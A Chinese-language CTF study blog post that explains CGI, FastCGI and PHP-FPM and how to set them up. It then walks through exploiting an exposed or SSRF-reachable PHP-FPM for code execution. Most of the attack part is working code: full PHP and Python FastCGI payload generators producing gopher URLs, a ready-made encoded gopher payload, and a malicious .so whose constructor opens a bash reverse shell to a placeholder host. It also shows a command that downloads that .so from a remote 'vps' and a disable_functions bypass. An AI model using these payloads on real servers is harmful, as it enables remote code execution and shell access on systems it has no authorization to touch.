打蓝帽的时候遇到了一个非预期,涉及到自己的知识盲区了,赶紧补习补习
基本概念 php的运行方式 Apache、NGINX服务器是如何与php程序进行通信的呢?
CGI协议 cgi
模式,即通用网关接口(Common Gateway Interface)
它允许web服务器通过特定的协议与应用程序通信
调用原理大概为:用户请求->Web服务器接收请求->fork子进程->调用程序/执行程序->程序返回内容/程序调用结束->web服务器接收内容->返回给用户
由于每次用户请求,都得fork创建进程调用一次程序,然后销毁进程,所以性能较低
对一个 CGI 程序,做的工作其实只有:从**环境变量(environment variables)和 标准输入(standard input)中读取数据、处理数据、向 标准输出(standard output)**输出数据。
环境变量中存储的叫 Request Meta-Variables ,也就是诸如 QUERY_STRING 、PATH_INFO 之类的东西,这些是由 Web Server 通过环境变量传递给 CGI 程序的,CGI 程序也是从环境变量中读取的。
标准输入中存放的往往是用户通过 PUTS 或者 POST 提交的数据,这些数据也是由 Web Server 传过来的。
fast-cgi协议 fast-cgi是cgi模式的升级版,它像是一个常驻型的cgi,只要开启后,就可一直处理请求,不再需要结束进程
调用原理大概为:web服务器fast-cgi进程管理器初始化->预先forkn个进程用户请求->web服务器接收请求->交给fast-cgi进程管理器->fast-cgi进程管理区接收,给其中一个空闲fast-cgi进程处理->处理完成,fast-cgi进程变为空闲状态,等待下次请求->web服务器接收内容->返回给用户
大部分服务器上php使用的是fast-cgi协议
模块模式 Apache中要想使用php,需要安装相应的php模块
它把php作为apache的模块随apache启动而启动,接收到用户请求时则直接通过调用mod_php模块进行处理。
模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。
如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5),PHP模块通过注册apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求
cli模式 即命令行模式
该模式不需要借助其他程序,直接输入php xx.php 就能执行php代码,命令行模式和常规web模式明显不一样的是:
- 没有超时时间 - 默认关闭buffer缓冲 - STDIN和STDOUT标准输入/输出/错误 的使用 - echo var_dump,phpinfo等输出直接输出到控制台 - 可使用的类/函数 不同 - php.ini配置的不同
fast-cgi详解 官方定义如下: FastCGI 进程管理器(FPM)
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 www.example.com | | Nginx | | 路由到www.example.com/index.php | | 加载nginx的fast-cgi模块 | | fast-cgi监听127 .0 .0 .1 :9000 地址 | | www.example.com/index.php请求到达127 .0 .0 .1 :9000 | | php-fpm 监听127 .0 .0 .1 :9000 | | php-fpm 接收到请求,启用worker进程处理请求 | | php-fpm 处理完请求,返回给nginx | | nginx将结果通过http返回给浏览器
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。
FastCGI本质是一种协议,在cgi协议的基础上发展起来的。
通讯方式 php-fpm的通信方式有tcp
和套接字(unix socket)
两种方式
1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信
2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。
与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播
效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差
但是在多并发条件下tcp的比socket有优势。 基于两种通信方式不同,所以在攻击的时候也会有相应的差别。
fast-cgi通讯协议 略过了,弟弟太菜了,这几篇文章讲的挺好
https://xz.aliyun.com/t/5598
https://segmentfault.com/a/1190000016564382
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
php-fpm的安装与配置 1 2 3 4 5 6 1. sudo apt update 2. sudo apt install -y nginx 3. sudo apt install -y software-properties-common 4. sudo add-apt-repository -y ppa:ondrej/php 5. sudo apt update 6. sudo apt install -y php7.3-fpm
配置NGINX 两种方式都在这里
vim /etc/nginx/sites-enabled/default
配置tcp模式下的php-fpm 配置NGINX使用tcp模式,注意记得把include包含配置文件那一行也取消注释
配置php-fpm使用tcp模式
vim /etc/php/7.3/fpm/pool.d/www.conf
重启nginx和启动php-fpm
1 2 /etc/init.d/php7.3-fpm restart service nginx reload
配置unix socket模式下的php-fpm 修改NGINX配置,注意版本
修改php-fpm配置
重启NGINX和php-fpm
1 2 /etc/init.d/php7.3-fpm restart service nginx restart
php-fpm 未授权访问攻击 简单原理 FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
。
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
此时,SCRIPT_FILENAME
的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404:
在fpm某个版本之前,我们可以将SCRIPT_FILENAME
的值指定为任意后缀文件,比如/etc/passwd
;但后来,fpm的默认配置中增加了一个选项security.limit_extensions
:
1 2 3 4 5 6 7 ; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被fpm执行,默认是.php
。所以,当我们再传入/etc/passwd
的时候,将会返回Access denied.
:
ps. 这个配置也会影响Nginx解析漏洞,我觉得应该是因为Nginx当时那个解析漏洞,促成PHP-FPM增加了这个安全选项。另外,也有少部分发行版安装中security.limit_extensions
默认为空,此时就没有任何限制了。
由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。
万幸的是,通常使用源安装php的时候,服务器上都会附带一些php后缀的文件,我们使用find / -name "*.php"
来全局搜索一下默认环境:
找到了不少。这就给我们提供了一条思路,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
。
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME
,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
。
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
那么就有趣了,假设我们设置auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include
)
那么,我们怎么设置auto_prepend_file
的值?
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE
和PHP_ADMIN_VALUE
。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项。(disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
所以,我们最后传入如下环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { 'GATEWAY_INTERFACE': 'FastCGI/1.0 ', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1 &b=2 ', 'REQUEST_URI': '/index.php?a=1 &b=2 ', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0 .0 .1 ', 'REMOTE_PORT': '12345 ', 'SERVER_ADDR': '127.0 .0 .1 ', 'SERVER_PORT': '80 ', 'SERVER_NAME': "localhost" , 'SERVER_PROTOCOL': 'HTTP/1.1 ' 'PHP_VALUE': 'auto_prepend_file = php: 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
设置auto_prepend_file = php://input
且allow_url_include = On
,然后将我们需要执行的代码放在Body中,即可执行任意代码。
加载.so绕过disable_functions disable_functions
这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中
因此我们无法通过修改环境变量的方式进行修改
但是我们可以通过加载恶意so文件的方式进行绕过
先写一个扩展
1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'" ); }
编译
1 gcc evil.c -fPIC -shared -o evil.so
至此我们的恶意so文件生成完毕,下一步是构造fast-cgi协议
这里有好几个exp:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
https://github.com/wuyunfeng/Python-FastCGI-Client
https://github.com/adoy/PHP-FastCGI-Client
https://nullget.sourceforge.io/?q=node/795&lang=zh-hans
根据模式不同,利用方式略有不同
tcp模式下的fastcgi利用 远程tcp 如果绑定的是0.0.0.0:9000
,而且防火墙未做限制
那直接用脚本进行远程攻击即可(我这里用的docker映射出的端口,用的127.0.0.1)
1 python fpm.py 127.0 .0 .1 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
ssrf攻击本地 生成payload-php版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE ; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host , $port = 9000 ) // and default value for port , just for unixdomain socket { $this ->_host = $host ; $this ->_port = $port ; } public function setKeepAlive ($b ) { $this ->_keepAlive = (boolean )$b ; if (!$this ->_keepAlive && $this ->_sock) { fclose ($this ->_sock); } } public function getKeepAlive ( ) { return $this ->_keepAlive; } private function connect ( ) { if (!$this ->_sock) { $this ->_sock = stream_socket_client ($this ->_host, $errno , $errstr , 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type , $content , $requestId = 1 ) { $clen = strlen ($content ); return chr (self ::VERSION_1 ) . chr ($type ) . chr (($requestId >> 8 ) & 0xFF ) . chr ($requestId & 0xFF ) . chr (($clen >> 8 ) & 0xFF ) . chr ($clen & 0xFF ) . chr (0 ) . chr (0 ) . $content ; } private function buildNvpair ($name , $value ) { $nlen = strlen ($name ); $vlen = strlen ($value ); if ($nlen < 128 ) { $nvpair = chr ($nlen ); } else { $nvpair = chr (($nlen >> 24 ) | 0x80 ) . chr (($nlen >> 16 ) & 0xFF ) . chr (($nlen >> 8 ) & 0xFF ) . chr ($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr ($vlen ); } else { $nvpair .= chr (($vlen >> 24 ) | 0x80 ) . chr (($vlen >> 16 ) & 0xFF ) . chr (($vlen >> 8 ) & 0xFF ) . chr ($vlen & 0xFF ); } return $nvpair . $name . $value ; } private function readNvpair ($data , $length = null ) { $array = array (); if ($length === null ) { $length = strlen ($data ); } $p = 0 ; while ($p != $length ) { $nlen = ord ($data {$p ++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen |= (ord ($data {$p ++}) << 16 ); $nlen |= (ord ($data {$p ++}) << 8 ); $nlen |= (ord ($data {$p ++})); } $vlen = ord ($data {$p ++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen |= (ord ($data {$p ++}) << 16 ); $vlen |= (ord ($data {$p ++}) << 8 ); $vlen |= (ord ($data {$p ++})); } $array [substr ($data , $p , $nlen )] = substr ($data , $p +$nlen , $vlen ); $p += ($nlen + $vlen ); } return $array ; } private function decodePacketHeader ($data ) { $ret = array (); $ret ['version' ] = ord ($data {0 }); $ret ['type' ] = ord ($data {1 }); $ret ['requestId' ] = (ord ($data {2 }) << 8 ) + ord ($data {3 }); $ret ['contentLength' ] = (ord ($data {4 }) << 8 ) + ord ($data {5 }); $ret ['paddingLength' ] = ord ($data {6 }); $ret ['reserved' ] = ord ($data {7 }); return $ret ; } private function readPacket ( ) { if ($packet = fread ($this ->_sock, self ::HEADER_LEN )) { $resp = $this ->decodePacketHeader ($packet ); $resp ['content' ] = '' ; if ($resp ['contentLength' ]) { $len = $resp ['contentLength' ]; while ($len && $buf =fread ($this ->_sock, $len )) { $len -= strlen ($buf ); $resp ['content' ] .= $buf ; } } if ($resp ['paddingLength' ]) { $buf =fread ($this ->_sock, $resp ['paddingLength' ]); } return $resp ; } else { return false ; } } public function getValues (array $requestedInfo ) { $this ->connect (); $request = '' ; foreach ($requestedInfo as $info ) { $request .= $this ->buildNvpair ($info , '' ); } fwrite ($this ->_sock, $this ->buildPacket (self ::GET_VALUES , $request , 0 )); $resp = $this ->readPacket (); if ($resp ['type' ] == self ::GET_VALUES_RESULT ) { return $this ->readNvpair ($resp ['content' ], $resp ['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params , $stdin ) { $response = '' ; $request = $this ->buildPacket (self ::BEGIN_REQUEST , chr (0 ) . chr (self ::RESPONDER ) . chr ((int ) $this ->_keepAlive) . str_repeat (chr (0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value ) { $paramsRequest .= $this ->buildNvpair ($key , $value ); } if ($paramsRequest ) { $request .= $this ->buildPacket (self ::PARAMS , $paramsRequest ); } $request .= $this ->buildPacket (self ::PARAMS , '' ); if ($stdin ) { $request .= $this ->buildPacket (self ::STDIN , $stdin ); } $request .= $this ->buildPacket (self ::STDIN , '' ); return (urlencode ($request )); } } $client = new FCGIClient ("unix:///var/run/php-fpm.sock" , -1 );$SCRIPT_FILENAME = '/var/www/html/test.php' ;$SCRIPT_NAME = '/' .basename ($SCRIPT_FILENAME );$REQUEST_URI = $SCRIPT_NAME ;$content = '<?php phpinfo();?>' ;$PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input" ;$res = $client ->request ( array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $SCRIPT_FILENAME , 'SCRIPT_NAME' => $SCRIPT_NAME , 'REQUEST_URI' => $REQUEST_URI , 'PHP_ADMIN_VALUE' => $PHP_ADMIN_VALUE , 'SERVER_SOFTWARE' => 'php/fastcgiclient' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_TYPE' => 'application/x-www-form-urlencoded' , 'CONTENT_LENGTH' => strlen ($content ), ), $content ); echo ('gopher://127.0.0.1:9000/_' .str_replace ("%2B" , "+" , urlencode ($res )));
生成payload-python版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 import socketimport randomimport argparseimport sysfrom io import BytesIOfrom six.moves.urllib import parse as urlparsePY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port) if __name__ == '__main__' : client = FastCGIClient("localhost" , "9000" , 3 , 0 ) SCRIPT_FILENAME = '/var/www/html/test.php' SCRIPT_NAME = '/' +SCRIPT_FILENAME.split('/' )[-1 ] REQUEST_URI = SCRIPT_NAME content = '<?php phpinfo();' PHP_VALUE = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input" params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : SCRIPT_FILENAME, 'SCRIPT_NAME' : SCRIPT_NAME, 'REQUEST_URI' : REQUEST_URI, 'PHP_VALUE' : PHP_VALUE, 'SERVER_SOFTWARE' : 'php/fastcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : 'localhost' , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/x-www-form-urlencoded' , 'CONTENT_LENGTH' : str (len (content)), } request_ssrf = urlparse.quote(urlparse.quote(client.request(params, content))) print ("gopher://127.0.0.1:9000" + "/_" + request_ssrf)
不绕过disable_functions利用过程 先假设有个ssrf的界面
不绕过disable_functions的情况时,直接构造payload进行攻击
先将恶意so文件上传至/tmp
目录(或者随便一个有权限的目录,记得改payload)
再生成payload
直接打
1 gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%25B5%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI%252F1.0%250E%2504REQUEST_METHODPOST%250F%2516SCRIPT_FILENAME%252Fvar%252Fwww%252Fhtml%252Ftest.php%250B%2509SCRIPT_NAME%252Ftest.php%250B%2509REQUEST_URI%252Ftest.php%250FAPHP_ADMIN_VALUEallow_url_include%253DOn%250Aopen_basedir%253D%252F%250Aauto_prepend_file%253Dphp%253A%252F%252Finput%250F%2511SERVER_SOFTWAREphp%252Ffastcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP%252F1.1%250C%2521CONTENT_TYPEapplication%252Fx-www-form-urlencoded%250E%2502CONTENT_LENGTH18%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2512%2500%2500%253C%253Fphp+phpinfo%2528%2529%253B%253F%253E%2501%2505%2500%2501%2500%2500%2500%2500
加载.so绕过disable_functions利用过程 先写一个扩展
1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'" ); }
编译
1 gcc evil.c -fPIC -shared -o evil.so
至此我们的恶意so文件生成完毕,下一步
1 copy('http://vps/evil.so','/var/www/html/evil.so');
或直接用蚁剑上传
上传好so文件后,修改生成payload脚本如下(python版本的在类似点修改即可):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $client = new FCGIClient ("unix:///var/run/php-fpm.sock" , -1 );$SCRIPT_FILENAME = '/var/www/html/user.php' ;$SCRIPT_NAME = '/' .basename ($SCRIPT_FILENAME );$REQUEST_URI = $SCRIPT_NAME ;$content = '' ;$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n" ;$res = $client ->request ( array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $SCRIPT_FILENAME , 'SCRIPT_NAME' => $SCRIPT_NAME , 'REQUEST_URI' => $REQUEST_URI , 'PHP_ADMIN_VALUE' => $PHP_ADMIN_VALUE , 'SERVER_SOFTWARE' => 'php/fastcgiclient' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_TYPE' => 'application/x-www-form-urlencoded' , 'CONTENT_LENGTH' => strlen ($content ), ), $content ); echo ('gopher://127.0.0.1:9000/_' .str_replace ("%2B" , "+" , ($res )));
直接打,即可收到shell
unix socks模式下的fastcgi利用 前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock
来进行通信
所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock
来进行通信,所以这个没办法远程攻击。
这个利用可以参考*CTF echohub
攻击没有限制的php-fpm来绕过disable_function
